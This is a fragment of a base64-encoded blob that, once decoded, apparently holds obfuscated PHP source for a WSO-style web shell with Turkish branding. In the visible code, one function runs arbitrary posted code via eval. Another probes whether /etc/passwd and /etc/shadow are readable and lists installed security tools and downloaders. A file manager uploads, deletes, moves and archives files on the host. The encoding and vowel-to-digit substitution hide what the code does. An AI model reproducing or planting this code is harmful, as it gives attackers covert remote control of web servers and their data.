gJGY0bDVzOw0KICAgIH0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCiAgICAkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KICAgIDRmKCE1bXB0eSgkcDF0aCkpDQogICAgICAgIHI1dDNybiAkcDF0aDsNCiAgICByNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PnM1cnY1ciBHM3Y1bmw0ayBiNGxnNHM0IC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHI+RzIyZ2w1IFRSIDpEIDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIGYzbmN0NDJuIHdzMlM1Y1AxcjFtKCRuLCAkdikgew0KICAgICAgICAkdiA9IHRyNG0oJHYpOw0KICAgICAgICA0Zigkdikgew0KICAgICAgICAgICAgNWNoMiAnPHNwMW4+JyAuICRuIC4gJzogPC9zcDFuPic7DQogICAgICAgICAgICA0ZihzdHJwMnMoJHYsICJcbiIpID09PSBmMWxzNSkNCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOw0KICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCiAgICB3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCiAgICAkdDVtcD0xcnIxeSgpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIk1TU1FMIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsNCiAgICB3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCiAgICA1Y2gyICc8YnI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICB3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQogICAgICAgICAgICA1Y2gyICc8YnI+JzsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICBmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pIA0KICAgICAgICAgICAgICAgIDRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICA1Y2gyICc8YnIvPic7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnSEREIHNwMWM1Jywgd3MyRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7DQogICAgICAgIHdzMlM1Y1AxcjFtKCdBY2MyM250IFM1dHQ0bmdzJyx3czJFeCgnbjV0IDFjYzIzbnRzJykpOw0KICAgICAgICB3czJTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsd3MyRXgoJ241dCAzczVyJykpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1Ow0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICA1djFsKCRfUE9TVFsncDYnXSk7DQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7IA0KICAgIH0NCiAgICB3czJINTFkNXIoKTsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KICAgICAgICA1Y2gyICc8aDY+UEhQIGI0bGc0czQtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRyPkcyMmdsNSBUUiA6RDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgcGhwNG5mMigpOw0KICAgICAgICAkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIXRkLCB0aCB7KC4qKX0hbXM0VScsJy41LCAudiwgLmgsIC5oIHRoIHskNn0nLCR0bXApOw0KICAgICAgICA1Y2gyIHN0cl9yNXBsMWM1KCc8aDYnLCc8aGEnLCAkdG1wKSAuJzwvZDR2Pjxicj4nOw0KICAgIH0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8aDY+IFBIUC1jMmQ1IFV5ZzNsMSAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRyPkcyMmdsNSBUUiA6RDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KICAgIDVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCiAgICB9DQogICAgNWNoMiAnPC9wcjU+PC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkQyc3kxIEFsMW40IC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHI+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KICAgICAgICAgICAgYzFzNSAnM3BsMjFkRjRsNSc6DQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkQyc3kxIFVwbDIxZCA1ZDRsbTVkNCEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiWTVuNCBkNHo0biAybDNzdDNyM2wxbTFkNCI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdkNWw1dDUnOg0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KICAgICAgICAgICAgICAgICAgICAkZGggID0gMnA1bmQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkdHlwNSA9PSAiZDRyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkNWw1dDVENHIoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGNsMnM1ZDRyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkZik7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzoNCiAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAYzJweSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCiAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgew0KICAgICAgICAgICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJzNuejRwJykgew0KICAgICAgICAgICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDNuczV0KCRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQogICAgNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7ICAgIDVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KICAgIGdsMmIxbCAkczJydDsNCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KICAgIH0NCjVjaDIgIjxzY3I0cHQ+DQogICAgZjNuY3Q0Mm4gczEoKSB7DQogICAgICAgIGYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICA0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQogICAgfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+QWQ0PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5LM3IzYzMvR3IzYjM8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNX